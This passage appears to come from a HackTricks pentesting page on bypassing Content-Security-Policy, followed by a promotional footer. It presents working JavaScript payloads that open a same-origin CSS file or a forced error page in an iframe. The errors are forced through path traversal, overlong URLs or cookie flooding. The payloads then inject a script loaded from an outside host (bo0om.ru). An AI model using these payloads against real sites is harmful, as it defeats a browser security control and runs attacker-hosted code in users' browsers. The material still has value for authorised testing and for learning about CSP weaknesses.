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A configuration such as:
Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’;
Prohibits usage of any functions that execute code transmitted as a string. For example: eval, setTimeout, setInterval will all be blocked because of the setting unsafe-eval
Any content from external sources is also blocked, including images, css, websockets, and, especially, JS
Via text & images
Modern browsers transform images and texts o HTML files to visualize them better (set background, center...).
Therefore, if you open an image or txt file such as favicon.ico or robots.txt with an iframe, you will open it as HTML.
These kind of pages usually doesn't have CSP headers and might not have X-Frame-Options, so you can execute arbitrary JS from them:
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
Via Errors
Same as text files or images, error responses usually doesn't have CSP headers and might not have X-Frame-Options. So, you can force errors and load them inside an iframe:
// Force nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
// Force error via long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
// Force error via long cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Don't forget to remove them
for(var i=0;i<5;i++){document.cookie=i+"="}
// After any of the previous examples, you can execute JS in the iframe wih something like:
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
References
Support HackTricks and get benefits!
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks submitting PRs to the hacktricks github repo.